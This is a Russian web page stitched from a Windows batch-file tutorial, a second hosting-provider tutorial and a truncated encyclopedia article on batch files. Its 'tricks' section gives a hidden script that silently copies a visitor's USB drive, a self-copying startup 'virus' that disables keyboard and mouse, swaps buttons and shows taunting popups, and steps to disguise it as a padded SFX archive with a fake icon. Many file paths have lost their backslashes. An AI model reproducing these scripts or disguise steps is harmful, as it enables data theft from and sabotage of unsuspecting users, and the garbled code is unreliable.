Выберите расширения которые являются валидным для хранения batch файлов системы windows

Создание батников. Автоматизация работы Windows. Написать вирус быстро. Резервное копирование. backup. Синтаксис bat-файлов. bat или cmd. Запись содержимого каталога в файл. Копирование файлов по дате

Содержание статьи:

Вместо вступления. Что такое «батник»

Пакетные файлы (batch file) — это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС

На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых батников.

Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Некоторые манипуляции с пакетными файлами могут нанести вред системе (порой даже непоправимый), поэтому предупреждаю сразу, ни автор статьи, ни администрация сайта не несут абсолютно никакой ответственности за последствия, которые может повлечь за собой выполнение действий, представленных в этой статье. Все материалы представлены здесь исключительно с образовательной целью, и для ознакомления. Надеюсь на ваше понимание и прямоту ваших рук….

  • Выше уже упоминалось, что пакетный файлы — это обычные текстовые документы. Так и есть, но для того, чтобы они работали и выполняли свои функции, им нужно придать подобающий вид, т.е. поменять расширение. Вообще в Windows используется как расширение *.bat, так и *.cmd, по сути они отличаются весьма незначительно лишь некоторыми нюансами, поэтому, в целях избежания путаницы, будем говорить о bat-файлах. Т.е. чтобы создать исполняемый пакетный файл, мы открываем стандартный блокнот (либо другой, привычный вам текстовый редактор), вбиваем туда нужные нам команды и сохраняем файл с любым именем и расширением bat;
  • По сути, перечень команд, описанных в пакетном файле (батнике) может быть воспроизведён вручную в командной строке (пуск — все программы — стандартные — командная строка), упаковываем их (команды) мы исключительно для удобства, простоты и моментальности (если позволите) воспроизведения;
  • Если испытываете что-то серьёзное и не уверенны в своих действиях, лучше испытывайте детище к примеру на виртуальной машине (в крайнем случае — на компьютере соседа);
  • Список возможных к использованию команд очень велик, посмотреть его можно, набрав в командной строке help, здесь же будут расшифровываться команды по мере их появления в создаваемых батниках;
  • Все инструкции, приведённые в статье, тестировались на ОС Windows XP и Windows 7.

Часть вторая. Синтаксис при написании bat-файлов

  • Каждая команда вводится с новой строчки;
  • Все команды выполняются последовательно за исключением тех случаев, когда внутри самого батника присутствует переход к определённой его части;
  • Комментарии в пакетный файл могут быть добавлены двумя способами:
    — либо после двух двоеточий ::переход к части копирования — либо при помощи команды goto, т.е. вводится команда goto, потом место для перехода, а между ними сам комментарий

    goto begin
    ----------------------------------------
    Это батник служит для резервного копирования дипломной работы
    ----------------------------------------
    begin
  • Если команду необходимо ввести с атрибутом, то сначала вводим команду, затем пробел, слэш и, собственно, сам ключ copy /Y Чтобы посмотреть список возможных атрибутов к конкретной команде, нужно в командной строке ввести команду, затем пробел, слэш и знак вопроса dir /?
  • Для скрытия окна терминала выполняемой команды можно в начале строки поставить знак собачки @, если же требуется скрыть отображение выполнения всех команд, то проще (чтобы не ставить собачку в каждой строчке) в начале батника указать @echo off здесь команда echo off скрывает окна, а собачка впереди неё запрещает отображение выполнения самой echo off
  • Все директории внутри команд, для исключения возможных ошибок, будем вводить в кавычках;
  • По умолчанию при работе с кириллическим текстом на выходе вы можете получить иероглифы, при работе с папками/файлами, имеющими русские имена, вообще может ничего не получиться, это происходит из-за используемых кодировок, поэтому для исключения подобных неприятностей в начале пакетного файла будем указывать кодировку, корректно работающую с кириллицей следующей командой chcp 1251
  • Есть команды (например, удаление файлов, форматирование), которые могут потребовать подтверждения действий. Порой это бывает очень нежелательно, в таком случае, можно вписать ответ заранее в сам пакетный файл. Ответ записывается ДО! команды и отделяется от неё вертикальной чертой |Y|del
  • В командной строке (а значит и в пакетных файлах) при указании директории иногда бывает удобнее пользоваться переменными, нежели прописывать весь путь cd %APPDATA%

Приступим….

Часть третья. Резервное копирование при помощи батников

Резервное копирование данных — полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.

Автоматическое копирование каталогов в папку backup

Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.).
В этом случае текст будет следующим

@echo off
chcp 1251
xcopy "D:diplom*.*" "E:backupdiplom*.*"

Где D:diplom — папка расположения всех материалов к диплому, а E:backupdiplom — конечная директория резервной копии.
Создаём батник, кидаем его в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид

@echo off
chcp 1251
del "E:backupdiplom_old" /s /q
rmdir "E:backupdiplom_old" /s /q
rename "E:backupdiplom" "diplom_old"
xcopy "D:diplom*.*" "E:backupdiplom*.*"

del удаляет ранее созданную вторую рк.
rmdir переименовывает первую рк во вторую.
xcopy создаёт новую рк.
Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее

@echo off
chcp 1251
xcopy "D:diplom*.*" "E:backupdiplom*.*" /E /F /H /R /K /Y /D

Создание бэкапа в архиве

Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе — это бэкапы в архиве
Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив.
Нам необходимо в автозагрузку положить батник со следующим содержимым

@echo off
chcp 1251
c:PROGRA~1WinRARWinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS "E:backup" "D:diplom"

Архив папки D:diplom будет создаваться в E:backup, именем будет дата и время создания архива, т.е., например 16-Aug-12–14-06-53

Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов

Как создать папку из батника

Начнём с самого простого. Создание папки. Папка создаётся командой MD
Чтобы создать папку с именем backup в корне диска D:, нам необходимо собрать следующего вида пакетный файл

@echo off
chcp 1251
MD "D:backup"

Если же, допустим, нужна каждый день новая папочка с датой на месте имени, то батник будет иметь вид

@echo off
chcp 1251
set datetemp=%date:~-10%
MD "C:%datetemp%"

Здесь строчкой set datetemp=%date:~-10% мы создаём переменную datatemp на время работы батника и присваиваем ей 10 символов значения системной даты;

Как создать текстовый файл из батника

С созданием пустых текстовых файлов дело чуть сложнее. Такой команды просто нет, нужно что-то в этот файл писать. Чтобы выйти из ситуации воспользуемся значением nul (это даже не нулевое значение, а его отсутствие)

@echo off
chcp 1251
copy nul "имя_файла".txt

Также, как и в примере с папкой, можно сделать именем текущую дату

@echo off
chcp 1251
set datetemp=%date:~-10%
copy nul "%datetemp%".txt

Автоматическая очистка папки из батника

Теперь, что касается удаления. Тоже достаточно часто используемая область работы для батников. Так, например, без помощи спец.программ можно при каждом запуске (опять же, поместив пакетный файл в автозагрузку) очищать temp на вашей машине. Содержимое будет следующим

@echo off
chcp 1251
cd C:WindowsTemp
echo Y|del *.*

Строчкой cd «C:WindowsTemp» мы переходим в папку temp
Строкой echo Y|del *.* удаляем содержимое этой папки (не саму папку!)

Часть пятая. Прочие возможности bat-файлов

Возможностей, на самом деле, огромное множество. Здесь для примера рассмотрим некоторые из них.

Одна из самых известных возможностей использования батников — это запись содержимого каталога в файл

@echo off
chcp 1251
dir >file.txt

После выполнения этого файла, в папке, откуда он запускался, будет создан файлик file.txt, содержащий перечень всех файлов и папок в этом каталоге с указанием размера и даты последнего изменения. Можно преобразовать этот файл до вида

@echo off
chcp 1251
dir /S "c:" >"X:file.txt"

/S заставит батник показать содержимое не только каталога, но и всех подкаталогов.
c: поможет отобразить содержимое не того каталога, откуда запускается бат-файл, а нужного нам.
X:file.txt сохранит конечный файл со списком содержимого в указанное нами место;

Запуск файлов из командной строки 

Очень часто полезным оказывается возможность запуска объектов из командной строки (в данном случае уже из бат-файлов). Причем как программ, так и других видов файлов (графических изображений, медиафайлов, текстовых документов и т.п.)
К примеру, если в автозагрузку добавить текстовый документ, то при включении ПК после загрузки системы вы его сразу увидите. Либо откроется плеер и будет проигрывать соответствующий трек. (Подробнее про способы добавления файлов в автозагрузку вы можете прочитать в статье: Автозагрузка. Добавление приложений в автозагрузку Windows)
Для того, чтобы это реализовать, нужно просто в теле бат-файла прописать точный путь до необходимого объекта. Например

@echo off
chcp 1251
"c:Документынапоминание.doc"

Для системных же программ нужно указать лишь её обозначение.

@echo off
chcp 1251
calc

При выполнении этого батника откроется калькулятор. В данном случае строчку chcp 1251 можно опустить (как и в некоторых ситуациях из примеров выше), однако если уж стандартизировать все наши пакетный файлы, то её можно и оставить, вреда не будет.

Часть шестая. Хитрости или шутки в сторону

Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и «голыми руками»), но если делать всё с умом, то может выйти достаточно интересно.

Шпионские штучки. Похищаем содержимое флешки

В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить «красную карточку». Что мы в таком случае делаем? Создаём батник следующего содержания

@echo off
:test
if exist g: goto go
goto test
:go
xcopy "G:*.*" "C:упс*.*"

Создаём на этот бат-файл ярлычок, в свойствах ярлыка указываем, чтобы файл запускался в свёрнутом состоянии. Дважды кликаем по ярлыку. Что имеем.
:test обозначает начало действия батника
if exist g: goto go проверяет наличие в компьютере диска G:, если он есть, то переходим к части :go (суть в том, что обычно вставленная флешка получает для обозначения первую свободную в системе букву латинского алфавита, проследить это на своём компе не так уж сложно. Вот именно эту буковку мы и указываем вместо G:)
goto test если диск G: не был найден, возвращаемся к началу части :test
:go обозначает начало действия второй части батника
xcopy «G:*.*» «C:упс*.*» копирует всё содержимое диска G: в папку упс на диске C:
Т.е. после того, как мы запустили файл с ярлыка, он запускается в свёрнутом состоянии и циклически проверяет наличие флешки в ПК. Как только флешка там засветится, начнётся копирование всех данных с неё в указанную папку, причем привычного окна копирования файлов не выскочит, всё будет отображаться в свёрнутом окне терминала.Ну, всё что было описанно выше, полезно на своём компе, однако есть несколько плюшек, с помощью которых можно подшутить над другом/подругой….

Маленький вирус в автозагрузку

В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее

copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка
copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup

Первая строка добавляет файл в автозагрузку для всех пользователей на Windows XP (для конкретного пользователя в качестве пути указываем %USERPROFILE%»Главное меню»ПрограммыАвтозагрузка)
Вторая строка добавляет файл в автозагрузку для Windows 7.

Начало обеих строк в виде copy %0 означает копирование «самого себя».
Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, «ТЫ ЛАМЕР!»
Для этого добавляем следующее

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.jse
start %temp%mes.jse
deltree /y %temp%mes.jse

Однако, и первый вариант будет работать.

Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени

msg * "ТЫ ЛАМЕР!" >nul

Едем дальше, ближе к вкусностям.
Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — строка меняет кнопки мыши местами. Весьма забавная штуковина, однако если человечек не отличается уровновешенной психикой, от этого советую отказаться. Чтобы поменять кнопки мыши обратно, заходи в панели управления в пункт мышь и там инвертируем галочку в поле обменять назначение кнопок….

Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.

rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.

rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.

rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.

Ну и del «%SystemRoot%Cursors*.*» >nul удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)

Теперь остаётся только скомпоновать желаемые строки в единый код

@echo off
chcp 1251
rundll32 keyboard, disable
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка
copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup
rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > 
%temp%mes.js 
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js 
start %temp%mes.js 
deltree /y %temp%mes.js

Часть седьмая. Упаковка исполнительного файла

Здесь хочу отметить, что мало кто станет запускать ваш батник хотя бы потому, что он имеет немного подозрительный вид. Исправить это можно двумя способами:

Программный способ упаковки батников

    • конвертировать bat-файл в *.exe при помощи какой-нибудь утилитки (например, bat to exe)
    • создать sfx-архив.

Упаковка батников в SFX-архив

Второй вариант в рамках данной статьи чуток подробнее и рассмотрим.
— Для начала нам надо установить на ПК подходящий архиватор (для этих целей я рекомендую WinRAR, т.к. создание sfx-архивов в нём реализовано наиболее удобно и просто).
— Создаём нужный нам пакетный файл (батник).
— Кликаем правой кнопочкой по батнику, выбираем из контекстного меню WinRAR => Добавить в архив (дальше по вкладкам)
Общие. Имя любое. Формат — RAR. Метод сжатия обычный. В параметрах архивации ставим галочку напротив Создать SFX-архив.
Дополнительно. Жмём на кнопочку Параметры SFX… Вкладочка «Общие», выполнить после распаковки — вписываем имя архивируемого батника с расширением. Во вкладке «Режимы» в разделе «Режим вывода информации» ставим галочку напротив «Скрыть всё». На вкладочке «Текст и графика» можно, например, добавить симпатичную иконку вашему архиву вместо стандартной. Если вы не художник, то иконку можно вытащить из любой программы/игры при помощи стороннего софта, например Restorator.
— На этом всё. Остальные опции на ваше усмотрение. Жмём кнопочку ОК. В исходной папке с батником появится ещё и наш новый sfx-архив.
— Чтобы добавить солидность файлу, позволить ему прибавить в весе, можно в архив «напихать» ещё что-нибудь, это может быть что угодно, т.к. цель — только увеличение размера.
— В архиве может быть сколько угодно батников, при создании архива мы указываем, что выполнять нужно первый (прописываем его имя с расширением), чтобы после этого выполнился следующий, в конце (либо в нужном нам месте) пишем

call sled.bat

Т.е. когда дело дойдёт до этой команды, система переключится на исполнение файла с названием sled.bat, а затем вернётся к исходному.
Если же надо, чтобы работа первого батника не прерывалась, то используем другую команду

start sled.bat

Вместо заключения

Стоит отметить, что кроме вышеперечисленных функций при помощи батников можно также редактировать и системный реестр, об этом наша отдельная публикация: Редактирование реестра Windows из командной строки, bat-файлы. Остаётся только напомнить, что вообще команд огромное количество, а вариантов их сочетаний и вовсе — бесконечное множество. Любую команду можно сначала проверить в командной строке, а только потом добавлять в тело пакетного файла….

Будьте осторожны и удачных вам экспериментов

Рассмотрим мощный инструмент автоматизации рутинных задач в семействе операционных систем Windows.

BAT-файл — это последовательность команд для интерпретатора командной строки в виде текстового файла с расширением .bat или .cmd. Основное предназначение пакетных файлов — автоматизация рутинных действий пользователя компьютера.

Название BAT появилось от английского batch — пакетная обработка. В истории продуктов Microsoft пакетные файлы существовали с первой версии MS-DOS в 80-х годах и позже успешно интегрировались в Microsoft Windows. В MS-DOS командным интерпретатором выступает COMMAND.COM, а начиная с Windows NT и до сих пор используется CMD.EXE.

Интерпретатор COMMAND.COM принимает файлы с расширением .BAT. Расширение .CMD создано для интерпретатора CMD.EXE с целью различать файлы для «старого» и «нового» интерпретаторов. CMD.EXE корректно обрабатывает оба расширения.

Интерпретатор CMD.EXE является частью современных операционных систем семейства Microsoft Windows, несмотря на отсутствие развития с начала 2000-х.

Основы взаимодействия с bat-файлами

Пакетный файл bat — это текстовый документ со специальным расширением. Для создания своего первого bat-файла достаточно «Блокнота», который доступен в операционной системе. Для повышения удобства написания и поддержки bat-файлов рекомендуем использовать Notepad++ или любой другой текстовый редактор с подсветкой синтаксиса. 

Создание bat-файлов

создание файла

Для создания пакетных файлов необходимо открыть текстовый редактор и в меню Файл выбрать Сохранить как….

сохранение в формате bat

В появившемся окне выбрать Тип файлаВсе файлы и задать имя с расширением .bat, как продемонстрировано на изображении выше. По умолчанию Windows скрывает расширения файлов, и пакетный файл можно отличить от текстового по пиктограмме окна с шестеренками. 

расширения имен

Если вы ошиблись при сохранении и пакетный файл сохранился с расширением txt, то не обязательно совершать повторное сохранение. Можно включить отображение расширения имен файлов и переименовать файл.

Запуск bat-файлов

запуск от имени администратора

Запуск пакетных файлов производится двойным кликом по иконке. Дополнительно можно использовать команду Открыть из контекстного меню, которое доступно при нажатии правой клавиши мыши (ПКМ) по файлу. Если для выполнения команд требуются права администратора, то в том же контекстном меню есть пункт Запуск от имени администратора

Исполняемые bat-файлы не могут запрашивать права администратора, если командам нужны расширенные права.

Запуск через контекстное меню откроет командный интерпретатор, в котором выполнятся команды bat-файла. По завершении команд окно закроется. Такое поведение неприемлемо, если от пакетного файла требуется какая-то обратная связь — например, сообщение об ошибке или результат вычислений. В таком случае интерпретатор следует запустить вручную и передать ему пакетный файл. 

выполнение команды cmd

Для запуска интерпретатора командной строки необходимо открыть меню Выполнить сочетанием клавиш Win + R, вписать cmd и нажать ОК.

окно интерпретатора

Для запуска пакетного файла его необходимо перенести мышкой в открывшееся окно и нажать Enter. Команды bat-файла будут выполнены, а его вывод вы увидите на экране. 

Вне зависимости от способа запуска откроется окно, которое может привлекать внимание и раздражать. Для запуска в «скрытом» режиме необходимо использовать другой скриптовой язык Microsoft Windows — VBScript.

По аналогии создаем файл с расширением .vbs и заполняем его следующими командами:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "С:путьдовашегоскрипта.bat" & Chr(34), 0
Set WshShell = Nothing

Для скрытого запуска следует запускать созданный файл, а не bat-файл. Скрытый запуск bat-файла актуален для автоматизации действий по расписанию, например, создание резервной копии. 

Запуск по расписанию

За выполнение действий по расписанию отвечает Планировщик заданий. Открываем меню Выполнить и запускаем программу taskschd.msc.

запуск по расписанию

Выбираем пункт Создать простую задач и заполняем параметры задания:

  • имя для простой идентификации,
  • периодичность и время запуска,
  • действие — Запустить программу,
  • программа или сценарий — путь до вашего .bat-файла или .vbs-файла, который запускает .bat-файл скрытно.

имя файла

триггер

повторяемость

запуск программы

Обратите внимание, что планировщик позволяет не только выполнять действие по времени, но и при наступлении события — например, при загрузке компьютера. Такой подход является альтернативой автозагрузке.

В случае разработки собственного bat-файла следует ознакомиться с основами командного интерпретатора.

Команды и синтаксис пакетных файлов

Командный интерпретатор выполняет команды из файла последовательно — строка за строкой. Исключение составляет только оператор GOTO, который «отправляет» к указанной строке. Командный интерпретатор выполняет два вида команд: встроенные команды и внешние исполняемые файлы.

Внешние исполняемые файлы — это любой исполняемый файл, то есть с расширением EXE, CMD или BAT, который доступен в операционной системе. Например, «Блокнот» — это исполняемый файл notepad.exe. Следующая команда приведет к запуску этого приложения с открытым файлом C:1.txt:

notepad.exe C:1.txt

Аргументом может быть не только путь, но и ключ — специальный аргумент, который начинается с символа слэш (/). У каждой программы свой «реестр» ключей и их значений.

Обратите внимание, что не все внешние команды «понимают» аргументы, переданные из интерпретатора командной строки. Например, исполняемый файл приложения калькулятор, calc.exe, игнорирует все аргументы командной строки. Внешним исполняемым файлом может быть в том числе другой bat-файл.

встроенные команды

Встроенные команды — это команды, которые являются частью интерпретатора командной строки. Полный список команд доступен по команде HELP. Данные команды не имеют отдельного исполняемого файла. 

Иногда в имени файла или каталога встречаются пробелы. Наиболее очевидный пример — каталог Program Files на диске C. В этом случае помогают кавычки. Их можно расставить различными способами. Например:

cd "C:Program Files123"
cd C:”Program Files”123

Операционная система Windows запрещает использование множества специальных символов в именах файлов, в том числе кавычки, поэтому проблем с указанием файлов не возникнет.

Оставлять комментарии при разработке — хороший тон. Так можно объяснить выполняемые действия и потенциальные ошибки. В пакетных файлах можно оставлять комментарии несколькими способами. 

Официальный способ — команда rem или два двоеточия.

rem Это первый комментарий
:: Это тоже комментарий

Перечисленные команды позволяют оставлять однострочные комментарии. Если хочется оставить развернутый многострочный комментарий, то прибегают к хитрости с командной GOTO.

goto start
===
Здесь можно оставить большой комментарий,
лицензию или даже ASCII-арт
===
:start

В конце комментария задаем имя метки, а в начале комментария выполняем команду GOTO c именем метки. Этот способ требует внимания, так как для каждого комментария должна быть своя метка, иначе выполнение bat-файла может отличаться от ожидания разработчика.

Совместимость с MS-DOS 

В старых ОС, таких как MS-DOS, было ограничение на отображение имени файлов. На экран выводилось восемь символов имени, точка и три символа расширения. Если имя файла превышало по длине восемь символов, то имя файла отображалось по следующей схеме:

<первые шесть символов имени>~<порядковый номер>

Например, каталог Program Files выглядит следующим образом:

Progra~1

В современных операционных системах такое отображение не применяется, но CMD.EXE до сих пор поддерживает такие запросы к файлам и каталогам.

Используйте bat-файлы в работе с выделенным сервером

Выберите подходящий из более 100 готовых конфигураций.

Подобрать сервер

Примеры bat-файлов

Рассмотрим несколько примеров bat-файлов. Начнем с базовых команд.

Обновление IP-адреса

Представим простой пример: необходимо обновить аренду IP-адресов на всех сетевых интерфейсах. В командной строке это делается одной командой:

ipconfig /renew

Данная команда генерирует много текстового вывода, который может испугать неподготовленного пользователя. Сама команда также может быть непривлекательной. Поэтому отключим отображение команды и перенаправим вывод выполнения в «никуда». Вместо слова NUL может быть любое имя или путь. Тогда вывод будет перенаправлен в указанный файл.

rem Отключаем отображение команд. Символ @ отключает отображение текущей команды
@echo off

rem Переводим вывод выполнения в устройство NUL, вывод исчезнет
ipconfig /renew > NUL

При запуске такого скрипта появляется черное окно, которое быстро исчезает. Можно оставить простые и понятные пользователю сообщения и не дать окну закрыться.

@echo off
echo Выполняется настройка, пожалуйста, подождите...
ipconfig /renew > NUL
echo Все хорошо.

rem Эта команда остановит выполнение до тех пор, пока пользователь не нажмет любую клавишу
pause

Скорее всего данный скрипт выведет набор непонятных символов вместо сообщения. Дело в том, что в русскоязычных ОС Windows по умолчанию в CMD.EXE используется кодировка CP866. Блокнот сохраняет в CP1251 (Windows-1251), а Notepad++ — в UTF-8. Для решения проблемы необходимо сменить кодировку интерпретатора командой chcp или сохранить bat-файл в кодировке интерпретатора.

rem Смена кодировки на Windows-1251
chcp 1251 > NUL
rem Смена кодировки на UTF-8
chcp 65001 > NUL

Я сохранил файл в кодировке UTF-8 и итоговый скрипт получился таким:

@echo off
chcp 65001 > NUL
echo Выполняется настройка, пожалуйста, подождите...
ipconfig /renew > NUL
echo Все хорошо.
pause

Создание резервной копии каталога

Перейдем к более жизненной ситуации — создание резервной копии (backup) каталога. Предположим, что каждый архив должен иметь в названии дату создания копии. Создадим каталог, имя которого — текущая дата. Текущая дата хранится в переменной DATE. Для обращения к переменным название переменной помещается между знаками процента.

mkdir %DATE%
cd %DATE%

Копирование файлов в текущий каталог производится командой COPY.


rem файлы 1.txt и 2.txt будут скопированы в текущую папку
COPY C:1.txt C:2.txt .

rem файл 3.txt будет сохранен в текущую папку как example.txt
COPY C:1.txt .example.txt

Возможно, в резервную копию необходимо дополнить служебную информацию — например, список файлов в корне копии и имя компьютера.

rem Имя компьютера записывается в файл computer.txt
hostname > computer.txt

rem Список файлов в текущем каталоге записывается в files.txt
dir . > files.txt

Обычно резервные копии хранят в zip- или rar-архивах. Из командной строки отлично управляется архиватор 7z.

cd ..
7z -tzip a backup.zip %DATE% 

Переименование файлов

Переименование файлов в Windows производится командой RENAME. Однако эта команда имеет свои особенности. 

Во-первых, переименование возможно только в рамках одного диска и одного каталога. Между каталогами одного диска допустимо перемещение, а между разными дисками — только копирование.


rename abc.txt cba.txt

Во-вторых, возможно переименование по маске. Допустим, есть список фотографий photo000.jpeg, photo001.jpeg и так далее. Нужно сменить префикс с photo на mobile.

rename photo* mobile*

Если в текущем каталоге есть другие файлы с префиксом photo, а переименовать надо только изображения с расширением jpeg, то команда модифицируется:

rename photo*.jpeg mobile*.jpeg

Удаление файлов

Программы и пользователи оставляют следы работы в виде файлов, которые не удаляются автоматически. К счастью, процесс очистки поддается автоматизации. 

Предположим, что в процессе работы пользователя генерируется большое количество файлов с расширением jpeg, которые нужно удалять. На помощь приходит оператор цикла FOR.

rem Ищем все файлы с расширением jpeg в каталоге work
rem Ключ /r включает в поиск все подкаталоги в каталоге work
for /r work %%file in (*.jpeg) do (
   rem Выводим имя файла
   echo %%file

   delete %%i
)

Заключение

Командный интерпретатор CMD.EXE существует долгое время, но, даже несмотря на отсутствия развития, остается востребованным инструментом для автоматизации рутинных действий в операционной системе Microsoft Windows.

Batch file

Batch file icon.png
Filename extensions .bat, .cmd, .btm
Internet media type
  • application/bat
  • application/x-bat
  • application/x-msdos-program
  • text/plain
Type of format Scripting
Container for Scripts

A batch file is a script file in DOS, OS/2 and Microsoft Windows. It consists of a series of commands to be executed by the command-line interpreter, stored in a plain text file. A batch file may contain any command the interpreter accepts interactively and use constructs that enable conditional branching and looping within the batch file, such as IF, FOR, and GOTO labels. The term «batch» is from batch processing, meaning «non-interactive execution», though a batch file might not process a batch of multiple data.

Similar to Job Control Language (JCL), DCL and other systems on mainframe and minicomputer systems, batch files were added to ease the work required for certain regular tasks by allowing the user to set up a script to automate them. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line.[1] Unix-like operating systems, such as Linux, have a similar, but more flexible, type of file called a shell script.[2]

The filename extension .bat is used in DOS and Windows. Windows NT and OS/2 also added .cmd. Batch files for other environments may have different extensions, e.g., .btm in 4DOS, 4OS2 and 4NT related shells.

The detailed handling of batch files has changed significantly between versions. Some of the detail in this article applies to all batch files, while other details apply only to certain versions.

Variants[edit]

DOS[edit]

In MS-DOS, a batch file can be started from the command-line interface by typing its name, followed by any required parameters and pressing the ↵ Enter key. When DOS loads, the file AUTOEXEC.BAT, when present, is automatically executed, so any commands that need to be run to set up the DOS environment may be placed in this file. Computer users would have the AUTOEXEC.BAT file set up the system date and time, initialize the DOS environment, load any resident programs or device drivers, or initialize network connections and assignments.

A .bat file name extension identifies a file containing commands that are executed by the command interpreter COMMAND.COM line by line, as if it were a list of commands entered manually, with some extra batch-file-specific commands for basic programming functionality, including a GOTO command for changing flow of line execution.

Early Windows[edit]

Microsoft Windows was introduced in 1985 as a graphical user interface-based (GUI) overlay on text-based operating systems and was designed to run on DOS. In order to start it, the WIN command was used, which could be added to the end of the AUTOEXEC.BAT file to allow automatic loading of Windows. In the earlier versions, one could run a .bat type file from Windows in the MS-DOS Prompt. Windows 3.1x and earlier, as well as Windows 9x invoked COMMAND.COM to run batch files.

OS/2[edit]

The IBM OS/2 operating system supported DOS-style batch files. It also included a version of REXX, a more advanced batch-file scripting language. IBM and Microsoft started developing this system, but during the construction of it broke up after a dispute; as a result of this, IBM referred to their DOS-like console shell without mention of Microsoft, naming it just DOS, although this seemingly made no difference with regard to the way batch files worked from COMMAND.COM.

OS/2’s batch file interpreter also supports an EXTPROC command. This passes the batch file to the program named on the EXTPROC file as a data file. The named program can be a script file; this is similar to the #! mechanism used by Unix-like operating systems.

Windows NT[edit]

Unlike Windows 98 and earlier, the Windows NT family of operating systems does not depend on MS-DOS. Windows NT introduced an enhanced 32-bit command interpreter (cmd.exe) that could execute scripts with either the .CMD or .BAT extension. Cmd.exe added additional commands, and implemented existing ones in a slightly different way, so that the same batch file (with different extension) might work differently with cmd.exe and COMMAND.COM. In most cases, operation is identical if the few unsupported commands are not used. Cmd.exe’s extensions to COMMAND.COM can be disabled for compatibility.

Microsoft released a version of cmd.exe for Windows 9x and ME called WIN95CMD to allow users of older versions of Windows to use certain cmd.exe-style batch files.

As of Windows 8, cmd.exe is the normal command interpreter for batch files; the older COMMAND.COM can be run as well in 32-bit versions of Windows able to run 16-bit programs.[nb 1]

Filename extensions[edit]

.bat
